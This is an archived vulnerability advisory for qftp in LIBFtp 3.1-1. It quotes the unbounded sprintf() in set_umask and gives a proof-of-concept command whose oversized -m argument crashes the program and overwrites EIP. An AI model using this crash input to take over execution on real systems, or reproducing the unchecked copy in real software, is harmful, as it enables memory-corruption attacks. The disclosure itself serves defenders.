AOH :: HP Unsorted Q :: C07-2673.HTM

QFTP (LIBFtp 3.1-1) (command line) sprintf() local buffer overflow



QFTP (LIBFtp 3.1-1) (command line) sprintf() local buffer overflow
QFTP (LIBFtp 3.1-1) (command line) sprintf() local buffer overflow



http://nbpfaus.net/~pfau/ftplib/ 

qftp is a utility that performs file transfers using ftplib based on
instructions presented on the command line.

>> Description

buffer overflow in sprintf(), set_umask don't check sizelen of passed argument.

>> Source error

in main():
337: 	  case 'm' : set_umask(optarg); break;
..
void set_umask(char *m)
{
    char buf[80];
    sprintf(buf,"umask %s", m);
    ftp_connect();
    FtpSite(buf, conn);
}

>> POC

$ gcc ftplib.c getopt.c qftp.c -o ftpsend
$ ftpsend localhost -l login -p passwd -m `perl -e "print 'a'x90"`
Segmentation fault

# eip addr: $1 = (void *) 0x61616161

-- 
~ starcadi

The entire AOH site is optimized to look best in Firefox® 3 on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2014 AOH
We do not send spam. If you have received spam bearing an artofhacking.com email address, please forward it with full headers to abuse@artofhacking.com.